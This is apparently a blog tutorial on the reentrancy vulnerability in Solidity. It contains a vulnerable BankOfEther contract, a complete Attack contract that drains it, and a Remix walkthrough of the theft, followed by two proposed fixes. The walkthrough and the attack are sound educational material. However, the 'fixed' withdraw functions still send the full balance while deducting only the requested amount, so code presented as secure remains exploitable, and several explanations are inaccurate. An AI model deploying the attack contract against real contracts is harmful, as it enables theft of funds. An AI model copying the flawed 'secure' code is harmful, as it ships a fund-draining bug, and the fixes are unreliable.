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Preventing Vulnerabilities in Solidity - Reentrancy Attack

· 12 min read
Oyeniyi Abiola Peace

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Introduction

To continue our previous articles on the vulnerabilities of Solidity and how to prevent them, we will dive into the reentrancy attack. We will look at code examples and devise solutions to avoid reentrancy.

Prerequisites

To properly understand this guide, you must have a solid knowledge of creating smart contracts with Solidity. The link below will come in handy:

https://docs.celo.org/blog/tutorials/solidity-from-zero-to-hero

Requirements

To code along with this guide, you must set up a text editor or an IDE like Remix IDE.

What Is Reentrancy Attack?

In Solidity, reentrancy describes a scenario in which a contract calls a second contract. The second contract then calls the first contract while the first contract is still running.

For better comprehension, reentrancy means that contract A can call contract B, but while contract A is still executing the call, contract B calls contract A. This behavior will cause the program to go into an infinite loop, ultimately making the contract run out of gas.

An attacker can use reentrancy to perform various malicious actions, such as transferring all of the funds in a contract to the attacker's account or modifying the contract's state in unexpected ways.

For better understanding, let us cite an example:

  1. Contract A has 20 ETH in it. It also keeps a record of how many ETH it owes other contracts. Right now, it owes contract B 1 ETH.
  2. Contract B has zero ETH right now.
  3. Contract A has a function called payDebt() inside it. This function will check that the caller's balance exceeds zero, then send the amount owed. Finally, it will reset the caller's balance to zero. This way, it can repay contract B and still have 19 ETH left.
  4. Contract B has two functions in it. The functions are attack() and fallback(). Both functions call the A.payDebt() function.
  5. First, contract B calls B.attack(). The call to B.attack() will automatically call A.payDebt().
  6. A.payDebt() executes sequentially and sends the owed balance before resetting it. When it sends the balance initially, it triggers the fallback() function inside contract B which then calls the payDebt() function again.
  7. Since contract A had yet not reset the balance, contract A still has a record that it owes contract B 1 ETH. Thus, it will keep sending ETH to contract B.
  8. Contract A continually sends ETH because the function sends the owed amount before resetting it to zero. And the amount is never reset because sending the owed amount triggers another call to the payDebt() function. Therefore, for every payment made to contract B, contract A gets called to make another payment.

Code Demo to Explain Reentrancy Attack in Solidity

In this code demo, we have a contract called BankOfEther. This contract allows other contracts to store and withdraw ETH from it.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract BankOfEther {
mapping(address => uint) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw(uint _amount) public {
uint bal = balances[msg.sender];
require(bal >= _amount);

(bool sent, ) = msg.sender.call{value: bal}(""); //send the ether
require(sent, "Failed to send Ether");

balances[msg.sender] = bal - _amount; //update balances
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

From the code snippet above, users can store their ETH by calling the deposit() function. This function will update the internal balance inside the mapping called balances.

mapping(address => uint) public balances; //to keep track of the balances across accounts.

//deposit function. It updates the balances.
function deposit() public payable {
balances[msg.sender] += msg.value; //updates balances
}

Users can also withdraw their ETH by calling the withdraw() function. This function has a variable called bal. The value of bal is balances[msg.sender], i.e., the user's balance. It will then check that the user has enough ETH stored in the contract to make a withdrawal. If the user does, it will send the requested ETH to the necessary contract. After this, the function will update balances. The function takes a parameter. This parameter is the amount for withdrawal.

    function withdraw(uint _amount) public {
uint bal = balances[msg.sender]; //create variable to hold balances
require(bal >= _amount); //check that there is enough ether to make a withdrawal

(bool sent, ) = msg.sender.call{value: bal}(""); //send the ether
require(sent, "Failed to send Ether");

balances[msg.sender] = bal - _amount; //update balances
}

In the code, we also have a helper function that we will use to get the contract’s balance. It is called getBalance().

    // Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}

Let us consider an example of a contract that can carry out the reentrancy attack on BankOfEther. Let’s call it Attack:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract Attack {
BankOfEther public bankOfEther;

constructor(address _bankOfEtherAddress) {
bankOfEther = BankOfEther(_bankOfEtherAddress);
}

// Fallback is called when BankOfEther sends Ether to this contract.
fallback() external payable {
if (address(bankOfEther).balance >= 1 ether) {
bankOfEther.withdraw(1 ether);
}
}

function attack() external payable {
require(msg.value >= 1 ether);
bankOfEther.deposit{value: 1 ether}();
bankOfEther.withdraw(1 ether);
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

The Attack contract first stores the target contract, BankOfEther in a state variable called bankOfEther. The address of the bankOfEther variable is passed as an argument when the Attack contract is deployed.

BankOfEther public bankOfEther; //set target exploit

constructor(address _bankOfEtherAddress) {
bankOfEther = BankOfEther(_bankOfEtherAddress); //update the address of the target to BankOfEther
}

To successfully perform the exploit, the Attack() contract must have two functions. They are:

  1. The attack() function. It initiates the attack.
  2. The fallback() function.

We deposit 1 ETH into the BankOfEther in the attack() function. Immediately after this, we withdraw the 1 ETH that was deposited.

    function attack() external payable {
require(msg.value >= 1 ether); //check that there is enough ether to perform withdrawal
bankOfEther.deposit{value: 1 ether}(); //deposit 1 ether
bankOfEther.withdraw(1 ether); //withdraw the 1 ether back
}

When we withdraw the 1 ETH back, it triggers the withdraw() function in the BankOfEther contract. The withdraw() function will call the fallback() function in the Attack contract. This call is because it sends 1 ETH back to the Attack contract. Let us take a look at the fallbak() function:

    fallback() external payable {
if (address(bankOfEther).balance >= 1 ether) { //check if BankOfEther has more than 0 ether
bankOfEther.withdraw(1 ether); //withdraw ether
}
}

We call the withdraw() function again inside the fallback() function. The code checks if BankOfEther has more than 0 ETH in it and then withdraws if the condition is true. Like in the BankOfEther contract, we have a getBalance() function here. It does the same thing as BankOfEther.getBalance()

Let us have a look at how our BankOfEther contract gets exploited.

  1. First, let us compile our contracts. Compile code.

  2. Next, we will deploy the BankOfEther contract. We should see the deployed contract at the bottom. Let’s copy the contract’s address from there. Deploy BankOfEther's contract, then copy its address.

  3. The next step will be to deploy the Attack contract. Before we deploy, we need to paste the address of BankOfEther as an argument. Paste BankOfEther's address, then deploy  contract.

  4. Next, we have to deposit some ether into BankOfEther. We can use multiple accounts, but we will stick to one in this example. We will do this twice. Then we will check the current balance by calling the getbalance() function. We should have 4 ETH. Select an account to use then deposit 2 ETH. Do this twice

Click on deposit() then getBalance()

  1. Now that we have confirmed 4 ETH, let us test the attack. To do this, we will switch accounts. We also need to call Attack.attack() and send 1 ETH. Before we do this, we should check the current balance in the Attack contract. Switch accounts

Check the balance of the Attack contract. It is currently 0 ETH.

Prepare to send 1 ETH

Call the attack() function.

  1. Finally, let us check the balances of the two contracts. BankOfEther now has 0 ETH while  the Attack contract has 5 ETH. The exploit is complete

BankOfEther now has 0 ETH while Attack contract has 5 ETH. The exploit is complete.

As previously demonstrated, the BankOfEther contract is vulnerable to reentry because, the balance of the Attack contract is not updated. As soon as the withdraw() function sends 1 ETH to the Attack() contract, the fallback() function is called. Since the fallback() function also calls the withdraw() function, the balance of the Attack contract will not be updated. Because the balance still needs to be updated, BankOfEther still believes that Attack has 1 ETH in its possession. Hence, the Attack contract can make withdrawals multiple times.

How to Prevent Reentrancy Attack in Solidity

We can use two techniques to prevent the reentrancy attack on our Solidity smart contracts. Let us explore these:

  1. The first technique to prevent the attacking is by updating the state variable before making a call to external contracts. Let us consider the BankOfEther contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract BankOfEther {
mapping(address => uint) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw(uint _amount) public {
uint bal = balances[msg.sender];
require(bal >= _amount);

(bool sent, ) = msg.sender.call{value: bal}(""); //send the ETH
require(sent, "Failed to send Ether");

balances[msg.sender] = bal - _amount; //update balances
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

In the withdraw() function, the state variable that holds the balances of different accounts is the last thing that is updated. This means that nothing is deducted from external accounts until after ETH has been sent out, i.e., the external contracts have been called. If a second call is made from an external contract before its balance is updated, it can easily withdraw an amount that it does not own. Because of this, the BankOfether contract should be modified as follows:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract BankOfEther {
mapping(address => uint) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw(uint _amount) public {
uint bal = balances[msg.sender];
require(bal >= _amount);//al

balances[msg.sender] = bal - _amount; //update balances before sending ether

(bool sent, ) = msg.sender.call{value: bal}(""); //send the ether
require(sent, "Failed to send Ether");
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

With the above code, if Attack() makes another call, it won’t be able to withdraw anything because its balance would have been updated to zero.

  1. The second technique to prevent reentrancy is by using a modifier called a Reentrancy Guard. The idea is to lock the contract while a function is executed so that only a single function can be executed at a time. Let us look at the modifier:

    bool internal locked; //state variable to lock the contract

    modifier noReentrant() {
    require(!locked, "No re-entrancy"); //check that the contrack is not locked
    locked = true; //lock the state variable
    _; //execute the function
    locked = false; //set locked to be false
    }
  1. First, we need a state variable to lock an unlock the contract whenever necessary.
  2. Inside the modifier noReentrant(), we check that the contract is not locked. If this passes, we lock the contract by setting locked to true.
  3. After that, the necessary function is executed.
  4. After the function gets executed, locked is set to false.

To use this modifier, we need to add it to the withdraw() function. Let’s modify the BankOfEthercontract as well.

contract BankOfEther {
mapping(address => uint) public balances;

//deposit function
function deposit() public payable {
balances[msg.sender] += msg.value;
}

bool internal locked;

//reentrancy guard
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}

//withdraw function
function withdraw(uint _amount) public noReentrant{//add modifier to withdraw function
uint bal = balances[msg.sender];
require(bal >= _amount);//al

(bool sent, ) = msg.sender.call{value: bal}(""); //send the ether
require(sent, "Failed to send Ether");

balances[msg.sender] = bal - _amount; //update balances
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

With the modifications made to the contract, whenever the withdraw() function is called, it will call the noReentrant() modifier. This modifier will set the locked state variable to true. Then, the withdraw() function will be executed. Whenever the fallback() function tries to call the withdraw() function again, the noReentrant()modifier will firstly check if locked is false. But since the withdraw() function is still executing, locked is going to be true. This will make the transaction fail.

Conclusion

The Reentrancy attack is very common in Solidity. It is always a good idea to protect your code by following best practices and guides on preventing such attacks. For more information about the reentrancy attack, [read this article](https://www.alchemy.com/overviews/reentrancy-attack-solidity#:~:text=What is a reentrancy attack in Solidity%3F&text=A reentrancy attack in Solidity repeatedly withdraws funds from a,find an exploitable smart contract). Remember to give your code multiple checks to avoid unfortunate events.

References

Author

Oyeniyi Abiola Peace is a seasoned software and blockchain developer. With a degree in Telecommunication Science from the University of Ilorin and over five years experience in JavaScript, Python, PHP, and Solidity, he is no stranger to the tech industry. Peace currently works as the CTO at DFMLab and is a Community Moderator at Celo Blockchain. When he's not coding or teaching, he loves to read and spend time with family and friends.